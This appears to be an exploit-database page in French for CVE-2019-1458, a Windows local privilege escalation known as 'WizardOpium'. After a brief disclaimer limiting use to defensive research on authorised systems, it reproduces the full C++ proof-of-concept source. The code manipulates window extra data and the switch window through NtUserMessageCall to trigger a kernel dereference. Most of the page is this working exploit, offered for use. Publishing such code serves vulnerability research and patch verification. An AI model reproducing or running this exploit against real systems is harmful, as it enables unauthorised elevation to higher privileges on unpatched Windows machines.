Exploit matérialisé

CVE-2019-1458

HIGH KEV

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB local windows

Source

Microsoft Windows - 'WizardOpium' Local Privilege Escalation

Par piotrflorczyk

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

Code cpp

#include <cstdio>
#include <windows.h>

extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);

int main() {
    HINSTANCE hInstance = GetModuleHandle(NULL);

    WNDCLASSEX wcx;
    ZeroMemory(&wcx, sizeof(wcx));
    wcx.hInstance = hInstance;
    wcx.cbSize = sizeof(wcx);
    wcx.lpszClassName = L"SploitWnd";
    wcx.lpfnWndProc = DefWindowProc;
    wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

    printf("[*] Registering window\n");
    ATOM wndAtom = RegisterClassEx(&wcx);
    if (wndAtom == INVALID_ATOM) {
        printf("[-] Failed registering SploitWnd window class\n");
        exit(-1);
    }

    printf("[*] Creating instance of this window\n");
    HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
    if (sploitWnd == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to create SploitWnd window\n");
        exit(-1);
    }

    printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
    NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

    printf("[*] Allocate memory to be used for corruption\n");
    PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    printf("\tptr: %p\n", mem);
    PBYTE byteView = (PBYTE)mem;
    byteView[0x6c] = 1;             // use GetKeyState in xxxPaintSwitchWindow

    //pass DrawSwitchWndHilite double dereference
    PVOID* ulongView = (PVOID*)mem;
    ulongView[0x20 / sizeof(PVOID)] = mem;

    printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
    SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
    printf("[*] GetLastError = %x\n", GetLastError());

    printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
    HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);

    printf("[*] Simulating alt key press\n");
    BYTE keyState[256];
    GetKeyboardState(keyState);
    keyState[VK_MENU] |= 0x80;
    SetKeyboardState(keyState);

    printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
    NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}